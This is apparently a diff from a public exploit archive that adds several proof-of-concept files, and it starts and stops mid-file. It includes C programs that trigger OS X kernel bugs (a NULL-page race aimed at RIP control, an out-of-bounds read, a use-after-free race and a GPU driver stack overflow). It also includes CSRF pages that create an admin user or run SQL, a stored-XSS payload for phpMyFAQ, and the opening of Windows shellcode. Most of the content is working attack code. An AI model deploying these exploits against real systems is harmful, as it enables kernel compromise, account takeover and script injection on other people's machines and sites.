IOReturn IOAudioEngineUserClient::closeClient()
|
||||
{
|
||||
audioDebugIOLog(3, "+ IOAudioEngineUserClient[%p]::closeClient()\n", this);
|
||||
|
||||
if (audioEngine && !isInactive()) {
|
||||
if (isOnline()) {
|
||||
stopClient();
|
||||
}
|
||||
audioEngine->clientClosed(this);
|
||||
audioEngine = NULL;
|
||||
|
||||
|
||||
|
||||
External method 0 uses audioEngine without checking if it's NULL:
|
||||
|
||||
IOReturn IOAudioEngineUserClient::safeRegisterClientBuffer(UInt32 audioStreamIndex, void * sourceBuffer, UInt32 bufSizeInBytes, UInt32 bufferSetID) {
|
||||
|
||||
audioDebugIOLog(3, "IOAudioEngineUserClient::safeRegisterClientBuffer deprecated for 32 bit %p \n", sourceBuffer);
|
||||
IOAudioStream * audioStream;
|
||||
IOReturn result = kIOReturnBadArgument;
|
||||
|
||||
audioDebugIOLog(3, "+ IOAudioEngineUserClient::safeRegisterClientBuffer32 %p \n", sourceBuffer);
|
||||
|
||||
audioStream = audioEngine->getStreamForID(audioStreamIndex);
|
||||
|
||||
|
||||
Whilst that isn't a virtual method, getStreamForID does call a virtual function on a member:
|
||||
|
||||
IOAudioStream * IOAudioEngine::getStreamForID(UInt32 streamID) {
|
||||
IOAudioStream * stream = NULL;
|
||||
|
||||
assert(reserved);
|
||||
if (reserved->streams) {
|
||||
stream = OSDynamicCast (IOAudioStream, reserved->streams->getObject(streamID));
|
||||
}
|
||||
|
||||
return stream;
|
||||
}
|
||||
|
||||
getObject is a virtual function, and reserved will be read from the NULL page giving us easy RIP control.
|
||||
|
||||
tested on OS X 10.11.4 (15E65) MacBookAir 5,2
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
|
||||
// clang -o ioaudio_race ioaudio_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0
|
||||
|
||||
/*
|
||||
OS X exploitable kernel NULL pointer dereference in IOAudioEngine
|
||||
|
||||
IOAudioEngineUserClient::closeClient sets the audioEngine member pointer to NULL
|
||||
|
||||
IOReturn IOAudioEngineUserClient::closeClient()
|
||||
{
|
||||
audioDebugIOLog(3, "+ IOAudioEngineUserClient[%p]::closeClient()\n", this);
|
||||
|
||||
if (audioEngine && !isInactive()) {
|
||||
if (isOnline()) {
|
||||
stopClient();
|
||||
}
|
||||
audioEngine->clientClosed(this);
|
||||
audioEngine = NULL;
|
||||
|
||||
|
||||
|
||||
External method 0 uses audioEngine without checking if it's NULL:
|
||||
|
||||
IOReturn IOAudioEngineUserClient::safeRegisterClientBuffer(UInt32 audioStreamIndex, void * sourceBuffer, UInt32 bufSizeInBytes, UInt32 bufferSetID) {
|
||||
|
||||
audioDebugIOLog(3, "IOAudioEngineUserClient::safeRegisterClientBuffer deprecated for 32 bit %p \n", sourceBuffer);
|
||||
IOAudioStream * audioStream;
|
||||
IOReturn result = kIOReturnBadArgument;
|
||||
|
||||
audioDebugIOLog(3, "+ IOAudioEngineUserClient::safeRegisterClientBuffer32 %p \n", sourceBuffer);
|
||||
|
||||
audioStream = audioEngine->getStreamForID(audioStreamIndex);
|
||||
|
||||
|
||||
Whilst that isn't a virtual method, getStreamForID does call a virtual function on a member:
|
||||
|
||||
IOAudioStream * IOAudioEngine::getStreamForID(UInt32 streamID) {
|
||||
IOAudioStream * stream = NULL;
|
||||
|
||||
assert(reserved);
|
||||
if (reserved->streams) {
|
||||
stream = OSDynamicCast (IOAudioStream, reserved->streams->getObject(streamID));
|
||||
}
|
||||
|
||||
return stream;
|
||||
}
|
||||
|
||||
getObject is a virtual function, and reserved will be read from the NULL page giving us easy RIP control.
|
||||
|
||||
tested on OS X 10.11.4 (15E65) MacBookAir 5,2
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
#include <libkern/OSAtomic.h>
|
||||
|
||||
#include <mach/thread_act.h>
|
||||
|
||||
#include <pthread.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/vm_map.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
unsigned int selector = 0;
|
||||
|
||||
uint64_t inputScalar[16];
|
||||
size_t inputScalarCnt = 0;
|
||||
|
||||
uint8_t inputStruct[40960];
|
||||
size_t inputStructCnt = 0;
|
||||
|
||||
uint64_t outputScalar[16] = {0};
|
||||
uint32_t outputScalarCnt = 0;
|
||||
|
||||
char outputStruct[40960] = {0};
|
||||
size_t outputStructCnt = 0;
|
||||
|
||||
io_connect_t global_conn = MACH_PORT_NULL;
|
||||
|
||||
void set_params(io_connect_t conn){
|
||||
global_conn = conn;
|
||||
selector = 0;
|
||||
inputScalarCnt = 4;
|
||||
inputStructCnt = 0;
|
||||
outputScalarCnt = 16;
|
||||
outputStructCnt = 40960;
|
||||
}
|
||||
|
||||
void make_iokit_call(){
|
||||
IOConnectCallMethod(
|
||||
global_conn,
|
||||
selector,
|
||||
inputScalar,
|
||||
inputScalarCnt,
|
||||
inputStruct,
|
||||
inputStructCnt,
|
||||
outputScalar,
|
||||
&outputScalarCnt,
|
||||
outputStruct,
|
||||
&outputStructCnt);
|
||||
}
|
||||
|
||||
OSSpinLock lock = OS_SPINLOCK_INIT;
|
||||
|
||||
void* thread_func(void* arg){
|
||||
int got_it = 0;
|
||||
while (!got_it) {
|
||||
got_it = OSSpinLockTry(&lock);
|
||||
}
|
||||
|
||||
// usleep(1);
|
||||
|
||||
make_iokit_call();
|
||||
return NULL;
|
||||
}
|
||||
|
||||
mach_port_t get_user_client(char* name, int type) {
|
||||
kern_return_t err;
|
||||
|
||||
CFMutableDictionaryRef matching = IOServiceMatching(name);
|
||||
if(!matching){
|
||||
printf("unable to create service matching dictionary\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_iterator_t iterator;
|
||||
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("no matches\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_service_t service = IOIteratorNext(iterator);
|
||||
|
||||
if (service == IO_OBJECT_NULL){
|
||||
printf("unable to find service\n");
|
||||
return 0;
|
||||
}
|
||||
printf("got service: %x\n", service);
|
||||
|
||||
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
err = IOServiceOpen(service, mach_task_self(), type, &conn);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to get user client connection\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("got userclient connection: %x\n", conn);
|
||||
|
||||
return conn;
|
||||
}
|
||||
|
||||
int main(int argc, char** argv){
|
||||
kern_return_t err;
|
||||
// re map the null page rw
|
||||
int var = 0;
|
||||
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("%x\n", err);
|
||||
}
|
||||
vm_address_t addr = 0;
|
||||
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
|
||||
if (err != KERN_SUCCESS){
|
||||
if (err == KERN_INVALID_ADDRESS){
|
||||
printf("invalid address\n");
|
||||
}
|
||||
if (err == KERN_NO_SPACE){
|
||||
printf("no space\n");
|
||||
}
|
||||
printf("%x\n", err);
|
||||
}
|
||||
char* np = 0;
|
||||
for (int i = 0; i < 0x1000; i++){
|
||||
np[i] = '\xff';
|
||||
}
|
||||
|
||||
*((uint64_t*)0x28) = 0xffffff4141414141;
|
||||
|
||||
|
||||
OSSpinLockLock(&lock);
|
||||
|
||||
pthread_t t;
|
||||
pthread_create(&t, NULL, thread_func, NULL);
|
||||
|
||||
|
||||
mach_port_t conn = get_user_client("IOAudioEngine", 0);
|
||||
|
||||
set_params(conn);
|
||||
OSSpinLockUnlock(&lock);
|
||||
IOServiceClose(conn);
|
||||
|
||||
}
|
191
platforms/osx/dos/39927.c
Executable file
191
platforms/osx/dos/39927.c
Executable file
|
@ -0,0 +1,191 @@
|
|||
/*
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=774
|
||||
|
||||
The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum,
|
||||
which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport:
|
||||
|
||||
ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0]
|
||||
|
||||
handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds
|
||||
check here too:
|
||||
|
||||
if ( reportType >= kIOHIDReportTypeCount )
|
||||
return kIOReturnBadArgument;
|
||||
|
||||
reportType is then used here:
|
||||
element = GetHeadElement( GetReportHandlerSlot(reportID),
|
||||
reportType);
|
||||
|
||||
while ( element ) {
|
||||
shouldTickle |= element->shouldTickleActivity();
|
||||
changed |= element->processReport( reportID,
|
||||
|
||||
where GetHeadElement is defined as:
|
||||
|
||||
#define GetHeadElement(slot, type) _reportHandlers[slot].head[type]
|
||||
|
||||
This leads to an OOB read off the head array followed by virtual function calls
|
||||
|
||||
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
|
||||
|
||||
Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers.
|
||||
|
||||
I can provide panic logs if required.
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
|
||||
// clang -o hidlib_oob hidlib_oob.c -framework IOKit -framework CoreFoundation
|
||||
|
||||
/*
|
||||
OS X kernel OOB read of object pointer due to insufficient checks in raw cast to enum type
|
||||
|
||||
The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum,
|
||||
which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport:
|
||||
|
||||
ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0]
|
||||
|
||||
handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds
|
||||
check here too:
|
||||
|
||||
if ( reportType >= kIOHIDReportTypeCount )
|
||||
return kIOReturnBadArgument;
|
||||
|
||||
reportType is then used here:
|
||||
element = GetHeadElement( GetReportHandlerSlot(reportID),
|
||||
reportType);
|
||||
|
||||
while ( element ) {
|
||||
shouldTickle |= element->shouldTickleActivity();
|
||||
changed |= element->processReport( reportID,
|
||||
|
||||
where GetHeadElement is defined as:
|
||||
|
||||
#define GetHeadElement(slot, type) _reportHandlers[slot].head[type]
|
||||
|
||||
This leads to an OOB read off the head array followed by virtual function calls
|
||||
|
||||
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
|
||||
|
||||
Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers.
|
||||
|
||||
I can provide panic logs if required.
|
||||
*/
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <libkern/OSAtomic.h>
|
||||
#include <mach/mach_error.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
io_connect_t get_user_client(const char* name, int type) {
|
||||
kern_return_t err;
|
||||
CFDictionaryRef matching;
|
||||
io_service_t service;
|
||||
|
||||
// try IOServiceMatching
|
||||
matching = IOServiceMatching(name);
|
||||
service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); // consume a ref on matching
|
||||
|
||||
if (service == MACH_PORT_NULL) {
|
||||
// try IOServiceNameMatching
|
||||
matching = IOServiceNameMatching(name);
|
||||
service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
|
||||
}
|
||||
|
||||
if (service == MACH_PORT_NULL) {
|
||||
// try everything and look for a partial name match
|
||||
matching = IOServiceMatching("IOService");
|
||||
io_iterator_t iterator;
|
||||
IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
|
||||
|
||||
int found_it = 0;
|
||||
while ((service = IOIteratorNext(iterator)) != IO_OBJECT_NULL) {
|
||||
io_name_t object_name;
|
||||
IOObjectGetClass(service, object_name);
|
||||
if (strstr(object_name, name)) {
|
||||
found_it = 1;
|
||||
break;
|
||||
}
|
||||
IOObjectRelease(service);
|
||||
}
|
||||
IOObjectRelease(iterator);
|
||||
|
||||
if (!found_it) {
|
||||
// couldn't find any matches for the name anywhere
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
}
|
||||
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
|
||||
err = IOServiceOpen(service, mach_task_self(), type, &conn);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("IOServiceOpen failed: %s\n", mach_error_string(err));
|
||||
IOObjectRelease(service);
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
IOObjectRelease(service);
|
||||
|
||||
return conn;
|
||||
}
|
||||
|
||||
kern_return_t poc(io_connect_t client){
|
||||
unsigned int selector;
|
||||
|
||||
uint64_t inputScalar[16];
|
||||
size_t inputScalarCnt = 0;
|
||||
|
||||
uint8_t inputStruct[4096];
|
||||
size_t inputStructCnt = 0;
|
||||
|
||||
uint64_t outputScalar[16];
|
||||
uint32_t outputScalarCnt = 0;
|
||||
|
||||
char outputStruct[4096];
|
||||
size_t outputStructCnt = 0;
|
||||
|
||||
inputScalar[0] = 0xe0000000; // cast to an enum (int) and no lower-bounds check
|
||||
inputScalar[1] = 0x00a90000;
|
||||
inputScalar[2] = 0;
|
||||
|
||||
inputScalarCnt = 3;
|
||||
|
||||
outputStructCnt = 0x1000;
|
||||
|
||||
selector = 12;
|
||||
|
||||
return IOConnectCallMethod(
|
||||
client,
|
||||
selector,
|
||||
inputScalar,
|
||||
inputScalarCnt,
|
||||
inputStruct,
|
||||
inputStructCnt,
|
||||
outputScalar,
|
||||
&outputScalarCnt,
|
||||
outputStruct,
|
||||
&outputStructCnt);
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char** argv){
|
||||
io_connect_t client = get_user_client("AppleUSBTCButtons", 0);
|
||||
if (client == MACH_PORT_NULL) {
|
||||
printf("no client\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
poc(client);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
143
platforms/osx/dos/39928.c
Executable file
143
platforms/osx/dos/39928.c
Executable file
|
@ -0,0 +1,143 @@
|
|||
/*
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=772
|
||||
|
||||
In IOAccelContext2::clientMemoryForType the lock_busy/unlock_busy should be extended to cover all the code
|
||||
setting up shared memory type 2.
|
||||
|
||||
At the moment the lock doesn't protect two threads racing where one reaches
|
||||
the release at +0x56AD (outside the lock) while the other is still using those raw pages via the raw pointer at
|
||||
IOAccelContext+0x610 inside the locked region.
|
||||
|
||||
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
|
||||
// clang -o ioaccel_mem_uaf ioaccel_mem_uaf.c -framework IOKit -framework CoreFoundation -lpthread
|
||||
|
||||
|
||||
/*
|
||||
OS X kernel use-after-free due to bad locking in IOAcceleratorFamily2
|
||||
|
||||
In IOAccelContext2::clientMemoryForType the lock_busy/unlock_busy should be extended to cover all the code
|
||||
setting up shared memory type 2.
|
||||
|
||||
At the moment the lock doesn't protect two threads racing where one reaches
|
||||
the release at +0x56AD (outside the lock) while the other is still using those raw pages via the raw pointer at
|
||||
IOAccelContext+0x610 inside the locked region.
|
||||
|
||||
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
|
||||
*/
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <libkern/OSAtomic.h>
|
||||
#include <mach/mach_error.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
io_connect_t get_user_client(const char* name, int type) {
|
||||
kern_return_t err;
|
||||
CFDictionaryRef matching;
|
||||
io_service_t service;
|
||||
|
||||
// try IOServiceMatching
|
||||
matching = IOServiceMatching(name);
|
||||
service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); // consume a ref on matching
|
||||
|
||||
if (service == MACH_PORT_NULL) {
|
||||
// try IOServiceNameMatching
|
||||
matching = IOServiceNameMatching(name);
|
||||
service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
|
||||
}
|
||||
|
||||
if (service == MACH_PORT_NULL) {
|
||||
// try everything and look for a partial name match
|
||||
matching = IOServiceMatching("IOService");
|
||||
io_iterator_t iterator;
|
||||
IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
|
||||
|
||||
int found_it = 0;
|
||||
while ((service = IOIteratorNext(iterator)) != IO_OBJECT_NULL) {
|
||||
io_name_t object_name;
|
||||
IOObjectGetClass(service, object_name);
|
||||
if (strstr(object_name, name)) {
|
||||
found_it = 1;
|
||||
break;
|
||||
}
|
||||
IOObjectRelease(service);
|
||||
}
|
||||
IOObjectRelease(iterator);
|
||||
|
||||
if (!found_it) {
|
||||
// couldn't find any matches for the name anywhere
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
}
|
||||
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
|
||||
err = IOServiceOpen(service, mach_task_self(), type, &conn);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("IOServiceOpen failed: %s\n", mach_error_string(err));
|
||||
IOObjectRelease(service);
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
IOObjectRelease(service);
|
||||
|
||||
return conn;
|
||||
}
|
||||
|
||||
|
||||
kern_return_t ioconnect_map(io_connect_t conn, int type) {
|
||||
mach_vm_address_t addr = 0;
|
||||
mach_vm_size_t size = 0x1000;
|
||||
return IOConnectMapMemory64(
|
||||
conn,
|
||||
type,
|
||||
mach_task_self(),
|
||||
&addr,
|
||||
&size,
|
||||
kIOMapAnywhere
|
||||
);
|
||||
}
|
||||
|
||||
kern_return_t ioconnect_unmap(io_connect_t conn, int type) {
|
||||
mach_vm_address_t addr = 0;
|
||||
mach_vm_size_t size = 0x1000;
|
||||
return IOConnectUnmapMemory64(
|
||||
conn,
|
||||
type,
|
||||
mach_task_self(),
|
||||
addr
|
||||
);
|
||||
}
|
||||
|
||||
io_connect_t client = MACH_PORT_NULL;
|
||||
|
||||
void* poc(void* arg) {
|
||||
for (int i = 0 ; i < 1000; i++) {
|
||||
ioconnect_map(client, 2);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int main(int argc, char** argv){
|
||||
for(;;){
|
||||
client = get_user_client("IntelAccelerator", 2);
|
||||
pthread_t t;
|
||||
pthread_create(&t, NULL, poc, NULL);
|
||||
poc(NULL);
|
||||
pthread_join(t, NULL);
|
||||
IOServiceClose(client);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
155
platforms/osx/dos/39930.c
Executable file
155
platforms/osx/dos/39930.c
Executable file
|
@ -0,0 +1,155 @@
|
|||
/*
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=724
|
||||
|
||||
nvAPIClient::Escape is the sole external method of nvAcclerator userclient type 0x2a0.
|
||||
It implements its own method and parameter demuxing using the struct-in struct-out
|
||||
buffers.
|
||||
|
||||
The second dword in the struct in buffer is another method identifier used in a switch
|
||||
statement in ::Escape to choose the method to call. Method 24 is ::SetClocksShmoo.
|
||||
|
||||
On entry to this method rsi points to a buffer in kernel space with completely
|
||||
user-controlled contents.
|
||||
|
||||
The uint16_t field at +0xc is used a loop count for the memory copying loop at
|
||||
+0xff3e with insufficient bounds checking. The destination stack buffer is 0x520 bytes below the saved
|
||||
frame pointer but the code only checks whether the value we provide (after bit shifting)
|
||||
is greater than 0xff. Since each iteration of the loop writes 0x14 bytes we can actually
|
||||
write up to 0x13ec bytes which is well over the size of the stack buffer which is being copied
|
||||
into.
|
||||
|
||||
This bug is reachable from the safari renderer sandbox and the chrome gpu process sandbox
|
||||
on device with the appropriate hardware (eg macbookpro)
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
|
||||
// build: clang -o nv_shmoo nv_shmoo.c -framework IOKit
|
||||
// tested on MacBookPro 10,1 w/10.11.3 (15D21)
|
||||
|
||||
/*
|
||||
OS X kernel stack buffer overflow in GeForce gpu driver
|
||||
|
||||
nvAPIClient::Escape is the sole external method of nvAcclerator userclient type 0x2a0.
|
||||
It implements its own method and parameter demuxing using the struct-in struct-out
|
||||
buffers.
|
||||
|
||||
The second dword in the struct in buffer is another method identified used in a switch
|
||||
statement in ::Escape to choose the method to call. Method 24 is ::SetClocksShmoo.
|
||||
|
||||
On entry to this method rsi points to a buffer in kernel space with completely
|
||||
user-controlled contents.
|
||||
|
||||
The uint16_t field at +0xc is used a loop count for the memory copying loop at
|
||||
+0xff3e with insufficient bounds checking. The destination stack buffer is 0x520 bytes below the saved
|
||||
frame pointer but the code only checks whether the value we provide (after bit shifting)
|
||||
is greater than 0xff. Since each iteration of the loop writes 0x14 bytes we can actually
|
||||
write up to 0x13ec bytes which is well over the size of the stack buffer which is being copied
|
||||
into.
|
||||
|
||||
This bug is reachable from the safari renderer sandbox and the chrome gpu process sandbox
|
||||
on device with the appropriate hardware (eg macbookpro)
|
||||
*/
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/vm_map.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
uint64_t release_device_texture(mach_port_t conn) {
|
||||
kern_return_t err;
|
||||
|
||||
uint64_t inputScalar[16];
|
||||
uint64_t inputScalarCnt = 0;
|
||||
|
||||
char inputStruct[4096];
|
||||
size_t inputStructCnt = 0;
|
||||
|
||||
uint64_t outputScalar[16];
|
||||
uint32_t outputScalarCnt = 0;
|
||||
|
||||
char outputStruct[4096];
|
||||
size_t outputStructCnt = 0;
|
||||
|
||||
|
||||
inputStructCnt = 4096;
|
||||
memset(inputStruct, 'A', inputStructCnt);
|
||||
|
||||
*((uint32_t*)(inputStruct+0x0)) = 1;
|
||||
*((uint32_t*)(inputStruct+0x4)) = 24; // ::setShmoo
|
||||
*((uint16_t*)(inputStruct+0xc)) = 0x1fe;
|
||||
|
||||
outputStructCnt = 4096;
|
||||
|
||||
err = IOConnectCallMethod(
|
||||
conn,
|
||||
0x0,
|
||||
inputScalar,
|
||||
inputScalarCnt,
|
||||
inputStruct,
|
||||
inputStructCnt,
|
||||
outputScalar,
|
||||
&outputScalarCnt,
|
||||
outputStruct,
|
||||
&outputStructCnt);
|
||||
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("IOConnectCall error: %x\n", err);
|
||||
} else{
|
||||
printf("worked?\n");
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
mach_port_t get_user_client(char* name, int type) {
|
||||
kern_return_t err;
|
||||
|
||||
CFMutableDictionaryRef matching = IOServiceMatching(name);
|
||||
if(!matching){
|
||||
printf("unable to create service matching dictionary\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_iterator_t iterator;
|
||||
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("no matches\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_service_t service = IOIteratorNext(iterator);
|
||||
|
||||
if (service == IO_OBJECT_NULL){
|
||||
printf("unable to find service\n");
|
||||
return 0;
|
||||
}
|
||||
printf("got service: %x\n", service);
|
||||
|
||||
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
err = IOServiceOpen(service, mach_task_self(), type, &conn);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to get user client connection\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("got userclient connection: %x\n", conn);
|
||||
|
||||
return conn;
|
||||
}
|
||||
|
||||
|
||||
|
||||
int main(int argc, char** argv){
|
||||
mach_port_t gl_context = get_user_client("IOAccelerator", 0x2a0);
|
||||
release_device_texture(gl_context);
|
||||
return 0;
|
||||
|
||||
}
|
36
platforms/php/webapps/39911.html
Executable file
36
platforms/php/webapps/39911.html
Executable file
|
@ -0,0 +1,36 @@
|
|||
<!--
|
||||
# Exploit Title: Mobiketa - CSRF Add Admin Exploit
|
||||
# Date: 09/06/2016
|
||||
# Exploit Author: Murat YILMAZLAR
|
||||
# Vendor Homepage: http://www.ynetinteractive.com/mobiketa/
|
||||
# Version: 1.0
|
||||
|
||||
# Exploit:
|
||||
|
||||
< -- bug code started -- >
|
||||
-->
|
||||
|
||||
<html>
|
||||
<body>
|
||||
<form action="[SITE]/[mobiketa_path]/index.php?url=user" method="POST"
|
||||
enctype="multipart/form-data">
|
||||
<input type="hidden" name="is_admin" value="1" />
|
||||
<input type="hidden" name="name" value="murat y" />
|
||||
<input type="hidden" name="email"
|
||||
value="murrat@protonmail.com" />
|
||||
<input type="hidden" name="username" value="murrat" />
|
||||
<input type="hidden" name="password" value="123123123" />
|
||||
<input type="hidden" name="id" value="15" />
|
||||
<input type="hidden" name="update" value=" " />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
<!--
|
||||
< -- end of the bug code -- >
|
||||
|
||||
#########################
|
||||
|
||||
[+] Contact: http://twitter.com/muratyilmazlarr
|
||||
-->
|
31
platforms/php/webapps/39912.html
Executable file
31
platforms/php/webapps/39912.html
Executable file
|
@ -0,0 +1,31 @@
|
|||
<!--
|
||||
# Exploit Title: miniMySQLAdmin 1.1.3 - CSRF(Execute SQL Query)
|
||||
# Date: 2016-06-10
|
||||
# Exploit Author: HaHwul
|
||||
# Exploit Author Blog: www.hahwul.com
|
||||
# Vendor Homepage: http://xdsoft.net/minimysqladmin.html
|
||||
# Software Link: https://github.com/xdan/miniMySQLAdmin/archive/master.zip
|
||||
# Version: v1.1.3
|
||||
# Tested on: Debian [wheezy]
|
||||
# CVE : none
|
||||
-->
|
||||
|
||||
<hr>
|
||||
<form name="csrf_poc" action="http://192.168.0.14/vul_test/target/miniMySQLAdmin/" method="GET">
|
||||
<input type="hidden" name="dbname" value="mysql">
|
||||
<input type="hidden" name="table" value="user">
|
||||
<input type="hidden" name="sql" value="create user exploit_user"> <!-- SQL Query -->
|
||||
|
||||
<input type="submit" value="Replay!">
|
||||
</form>
|
||||
<script type="text/javascript">document.forms.csrf_poc.submit();</script>
|
||||
|
||||
<!--
|
||||
#### Output ####
|
||||
|
||||
#> select * from `user` order by `User` asc limit 20
|
||||
|
||||
Host User
|
||||
% exploit_user1
|
||||
|
||||
-->
|
31
platforms/php/webapps/39913.txt
Executable file
31
platforms/php/webapps/39913.txt
Executable file
|
@ -0,0 +1,31 @@
|
|||
# Exploit Title: phpMyFAQ 2.9.0 Stored XSS
|
||||
# Date: 09-06-2016
|
||||
# Software Link: http://www.phpmyfaq.de/
|
||||
# Exploit Author: Kacper Szurek
|
||||
# Contact: http://twitter.com/KacperSzurek
|
||||
# Website: http://security.szurek.pl/
|
||||
# Category: webapps
|
||||
|
||||
1. Description
|
||||
|
||||
PHP `filter_input()` function with `FILTER_VALIDATE_URL` flag is used to validate url inside `savefaq` functionality.
|
||||
|
||||
But this function doesn’t protect against XSS.
|
||||
|
||||
http://security.szurek.pl/phpmyfaq-290-stored-xss.html
|
||||
|
||||
2. Proof of Concept
|
||||
|
||||
By default every user can propose faq entries.
|
||||
|
||||
When admin activate article using http://phpmyfaq/admin/?action=view url or records.defaultActivation option is enabled, XSS will be visible on entry page:
|
||||
|
||||
http://phpmyfaq/index.php?action=artikel&cat=%cat_id%&id=%article_id%&artlang=pl
|
||||
|
||||
For exploitation use folowing url inside Link for this FAQ field:
|
||||
|
||||
http://example.com/"><script>alert("xss")</script>
|
||||
|
||||
3. Solution:
|
||||
|
||||
Update to version 2.9.1
|
168
platforms/win32/shellcode/39914.c
Executable file
168
platforms/win32/shellcode/39914.c
Executable file
|
@ -0,0 +1,168 @@
|
|||
/*
|
||||
# Title : Windows x86 system("systeminfo") shellcode
|
||||
# Date : 10-06-2016
|
||||
# Author : Roziul Hasan Khan Shifat
|
||||
# Tested on : Windows 7 Professional x86
|
||||
|
||||
*/
|
||||
|
||||
/*
|
||||
|
||||
|
||||
section .text
|
||||
global _start
|
||||
_start:
|
||||
xor ecx,ecx
|
||||
mov eax,[fs:ecx+0x30] ;EAX=PEB
|
||||
mov eax,[eax+0xc] ;EAX=PEB->Ldr
|
||||
mov esi,[eax+0x14] ;ESI=PEB->Ldr.InMemOrderModuleList
|
||||
lodsd ; EAX=ntdll.dll
|
||||
xchg eax,esi ;EAX=ESI , ESI=EAX
|
||||
lodsd ; EAX=Third(kernel32)
|
||||
mov ebx,[eax+0x10] ;PVOID Dllbase (base address)
|
||||
|
||||
;-------------------------------
|
||||
|
||||
mov edx,[ebx+0x3c] ;(kernel32.dll base address+0x3c)=DOS->e_lfanew
|
||||
add edx,ebx ;(DOS->e_lfanew+kernel32.dll base address)=PE Header
|
||||
mov edx,[edx+0x78] ;(PE Header+0x78)=DataDirectory->VirtualAddress
|
||||
add edx,ebx ;(DataDirectory->VirtualAddress+kernel32.dll base address)=export table of kernel32.dll(IMAGE_EXPORT_DIRECTORY)
|
||||
mov esi,[edx+0x20]; (IMAGE_EXPORT_DIRECTORY+0x20)=AddressOfNames
|
||||
add esi,ebx ;ESI=(AddressOfNames+kernel32.dll base address)=kernel32 AddressOfNames
|
||||
xor ecx,ecx
|
||||
;-----------------------
|
